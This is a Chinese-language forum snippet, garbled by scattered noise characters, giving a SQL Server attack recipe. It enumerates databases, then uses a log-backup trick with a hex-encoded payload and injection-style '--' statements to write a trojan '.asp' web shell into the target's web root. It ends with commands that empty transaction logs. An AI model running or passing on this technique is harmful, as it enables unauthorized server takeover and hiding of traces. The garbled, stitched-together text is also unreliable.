select * from master.dbo.sysdatabases 列出所有列的记录
# [: D1 \8 m9 G% u
" y# t8 z+ K6 g( B) T6 @/ v" Hselect name from master.dbo.sysdatabases 仅列出name列的记录
+ V2 A5 W7 g/ D3 a; E7 U9 ?
- A9 G7 D. w0 V; M3 k注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份 c* P6 m) j" I( G y8 v! S
& v) t- z% m+ X6 A9 F, L
alter database 数据库名 set RECOVERY FULL--
/ u8 |' C; p6 {. E* [# X9 ]1 \/ q
, o/ w4 t5 B# ?& m/ T/ l) xcreate table cmd (a image)-- \**cmd是创建的临时表' \, i6 S2 J( u0 R% D, J# u
# Y& t6 X% P8 y% _8 }3 f# dbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
8 c: A, ^$ m ~ T$ H+ R1 A
0 @! j: V2 w3 p4 o& l' K& ?insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
7 L$ _: [: k! j* T5 O
& w/ b1 P3 u3 K//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)3 {4 ^( O) q, n) d" n
. h, h! e* \- S+ z2 Z+ Xbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)! `7 M& b9 S( U, {
! B' L7 G* D9 B" D/ }% N, ydrop table cmd--/ n* K- T4 }" X* E0 y
6 {( E. Q1 g% K$ p2 }6 M
% P( l8 E8 n6 C8 f( T+ P3 q8 ?3 Ef:\5 l7 ~+ t1 X8 p, Q
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)& v1 X- [; W7 C! S) m! Z
; Q/ ~9 S7 z: m1 j: ~最好多加几个回车0d0a,要不会出错哈- n) l) e! X! I, W
4 B' Z, F( K, J _+ ~2 ]" i' W
+ a1 J0 v- Z1 `0 z7 ^SQL Server日志清空方法 % {7 t# ?% e4 G' }* p7 ~! C
( I4 L' U4 X6 b) i9 ^4 z在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 : \' G. o2 u5 o: i
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG : T6 ~2 f. M" V& b3 L* n
6 ?4 P J7 L# b2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
4 l$ D. _$ i* {0 `
+ g2 ~& k6 o( v7 g3.收缩数据库:DBCC SHRINKDATABASE(databasename) + X0 K: E, `3 L( m; ]! [
|